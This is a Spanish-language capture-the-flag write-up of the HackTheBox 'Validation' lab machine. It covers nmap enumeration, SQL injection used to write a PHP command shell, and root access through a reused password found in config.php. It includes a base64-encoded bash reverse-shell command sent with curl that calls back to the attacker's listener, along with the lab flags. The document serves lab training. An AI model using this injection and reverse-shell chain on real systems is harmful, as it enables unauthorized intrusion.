Hello World \o/
  • 👾ENCONTRASTE MIS WRITEUPS
  • 🟣 MAQUINAS VULNERADAS
    • Vulnhub
      • Darkhole: 2
      • Symfonos 1
      • Symfonos 2
      • ICA: 1
      • Corrosion 2
      • Venom 1
      • Corrosion 1
    • HackTheBox
      • Return
      • Horizontall
      • Validation
      • Love
      • Nodeblog
      • NunChucks
      • Lame
      • Legacy
      • Knife
    • PortSwigger
      • Blind Sqli
  • 🟣 CTFS
    • Bandit
    • Baby Encription
    • Primed for Action
  • 🟣 BUG BOUNTIES
    • Open Redirect
  • 🟣 SCRIPTS
    • I Found You
  • 🟣 PROYECTOS
    • Landing Page
    • Face Tracker
  • 🟣 SOBRE MI
    • Contactame
Powered by GitBook
On this page
  1. 🟣 MAQUINAS VULNERADAS
  2. HackTheBox

Validation

Sobre esta maquina: HTB

Sistema Operativo: Linux

Skills Usados:

  • SQLI (Error Based)

  • SQLI -> RCE (INTO OUTFILE)

  • Information Leakage

Metodologia:

realizamos el primer Escaneo Nmap del target:

// 
❯ nmap -p- -T4 -sS --open -Pn -n 10.10.11.116

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-28 15:03 EDT
Stats: 0:00:11 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 16.40% done; ETC: 15:04 (0:00:56 remaining)
Nmap scan report for 10.10.11.116
Host is up (0.14s latency).
Not shown: 64969 closed tcp ports (reset), 562 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
4566/tcp open kwtc
8080/tcp open http-proxy

Hacemos escaneo con scripts y versiones de los puertos abiertos:

// 
❯ nmap -T4 -sS -sVC -p22,80,4566,8080 -n 10.10.11.116 -oN service_scan

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 d8:f5:ef:d2:d3:f9:8d:ad:c6:cf:24:85:94:26:ef:7a (RSA)
| 256 46:3d:6b:cb:a8:19:eb:6a:d0:68:86:94:86:73:e1:72 (ECDSA)
|_ 256 70:32:d7:e3:77:c1:4a:cf:47:2a:de:e5:08:7a:f8:7a (ED25519)
80/tcp open http Apache httpd 2.4.48 ((Debian))
|_http-server-header: Apache/2.4.48 (Debian)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
4566/tcp open http nginx
|_http-title: 403 Forbidden
8080/tcp open http nginx
|_http-title: 502 Bad Gateway
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Revisamos lo que esta corriendo en el puerto 80:

Intentamos capturar con Burpsuite peticiones para ver si es vulnerable a sql, donde observaremos que si es vulnerable, obteneos el nombre de la base de datos "Registration".

Podemos observar que ya podemos ejecutar comandos utilizando cmd?=

Ahora desde la terminal utilizando CURL podremos mandar una shell inyectando codigo php a la maquina victima y poniendonos en escucha al mismo tiempo por el puerto que nos parezca, en este caso el 4444.

DISCLAIMER

Al realizar el Curl, un script de Python, e incluso una revershell URL encodeada directa en el subdominio /prueba.php no podía recibir la petición a través de NC estando en escucha por ningún puerto lo unico que me funciono fue url encodear en código base 64. (esto debido a una incompatibilidad en mi ZSH).

Logro funcionar por que evita problemas de comillas, Algunos filtros web o configuraciones del servidor rompen comandos con comillas dobles, simples o caracteres especiales.

Así que toco codificar la peticion en base64 , pero OJO no se si funcionara para otras personas que no usen la zsh.

FIN DEL DISCLAIMER :3

// 
Usamos CURL y url encodeamos en base 64 para solicitar revershell
en puerto 4444

❯ curl 10.10.11.116/prueba.php --data-urlencode 'cmd=echo 
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40MC80NDQ0IDA+JjE= | base64 -d | bash'


Nos ponemos en escucha en el 4444 con NC

❯ nc -nlvp 4444

listening on [any] 4444 ...
connect to [10.10.14.40] from (UNKNOWN) [10.10.11.116] 48238
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell

www-data@validation:/var/www/html$

Obtuvimos acceso ahora capturamos Flag

www-data@validation:/var/www/html$ cd /home

www-data@validation:/home$ ls

htb

www-data@validation:/home$ cd htb

www-data@validation:/home/htb$ ls

user.txt

www-data@validation:/home/htb$ cat user.txt

8bdad772d8d84f66821eca5f56a5cb41

Para escalar privilegios intentaremos revisar los 
archivos php del sistema en donde nos encontramos 
con config.php , al revisarlo conseguimos unas 
credenciales y al colocarlas nos convierten en root

www-data@validation:/home/htb$ cd /var/www/html

www-data@validation:/var/www/html$ ls

account.php
config.php
css
index.php
js

www-data@validation:/var/www/html$ cat config.php

User: Registration
Password: uhc-9qual-global-pw

www-data@validation:/var/www/html$ su -

Password: uhc-9qual-global-pw

id

uid=0(root) gid=0(root) groups=0(root)

Ahora capturamos la flag de ROOT

ls

config
ipp.ko
root.txt
snap

cat root.txt

fa9dec0dbcfc6909478498fc68956399

Una vez Rooteada la maquina la damos por terminada.

PreviousHorizontallNextLove

Last updated 28 days ago

Un sitio en donde se pueden registrar nombres, probamos inyecion SQL.
Captura de la petición POST con BURPSUITE para ejecutar inyecciones SQL.
Identificacion de version.
Conseguimos la version del servidor.
Identificamos el nombre de la base (Registration).
Intentamos conseguir el nombre de la TABLA.
Posee el mismo nombre de tabla REGISTRATION.
Ahora enumeramos las columnas existentes dentro de las tablas para ver su contenido, donde descubrimos, usuarios, hash etc..
Resultado del interior de las Columnas.
Intentaremos listar el contenido de usernames y hashes, pero descubrimos que lista los usuarios que nosotros mismos inscribimos.
Ya que no obtuvimos nada tan valioso intentaremos ver si se puede subir archivos al sistema abusando de codigo PHP mediante una SQLI, pero primero hacemos una prueba en txt.
La prueba es exitosa asi que ahora si intentaremos con codigo PHP.
Utilizaremos la SQLI y el codigo PHP para poder realizar comandos CMD.
Al renderizar la peticion, causa un error asi que posiblemente tenga exito.
Tiene exito la peticion, asi que ejecutamos comando whoami desde la web y nos responde www-data , hemos obtenido acceso al sistema.